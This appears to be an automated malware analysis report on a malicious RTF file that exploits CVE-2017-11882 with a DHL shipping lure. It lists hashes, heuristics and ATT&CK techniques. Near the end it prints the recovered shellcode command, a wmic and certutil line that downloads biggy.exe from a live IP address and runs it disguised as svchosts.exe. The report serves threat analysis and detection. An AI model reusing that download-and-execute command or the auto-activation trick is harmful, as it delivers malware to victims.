RTF malware analysis — malicious · 7bd20e6b93d975ba

MALICIOUS

RTF

276.4 KB Created: 2018-09-18 01:27:00 First seen: 2019-04-18

MD5: 491de70375ee35cf669a54a092f5b31e SHA-1: 892299ca7448c0d6310aedec2b143a35541ee5df SHA-256: 7bd20e6b93d975ba51cf579c4f91040f6a7e2b12f79d647b27d0ee040be82b33

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains critical heuristics indicating exploitation of CVE-2017-11882 through the Equation Editor. It also contains an embedded OLE object and a URL moniker, suggesting it attempts to download and execute a secondary payload from the suspicious IP address 192.3.162.102. The document body, despite being partially obfuscated, appears to be a lure related to DHL shipping, likely intended to trick the user into opening the malicious attachment.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
URL Moniker in RTF OLE object high CVE related RTF_URL_MONIKER_RELATED

RTF contains a URL Moniker GUID in OLE object context, but no decoded remote target was confirmed. Treat as related OLE2Link attack-surface evidence rather than proof of CVE-2017-0199 exploitation.
ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Automatically linked OLE object high RTF_OBJAUTLINK

RTF contains \objautlink — an automatically linked OLE object surface that can be updated or activated when Word opens the document.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://192.3.162.102/out/biggy.exe In RTF body
- http://www.dhl.comIn RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00043429.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x43429	3627 bytes
SHA-256: `79527502ba93add9b6b6a72a5e4604ba68f52b1ff68e6ffd97cf0138809168f5`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://192.3.162.102/out/biggy.exe Static shellcode analysis recovered command string(s): cmd /start wmic process call create " cmd /c certutil -urlcache -split -f http://192.3.162.102/out/biggy.exe %temp%\\svchosts.exe&%temp%\\svchosts.exe "

Open this report in the interactive analyzer, or submit your own file for analysis.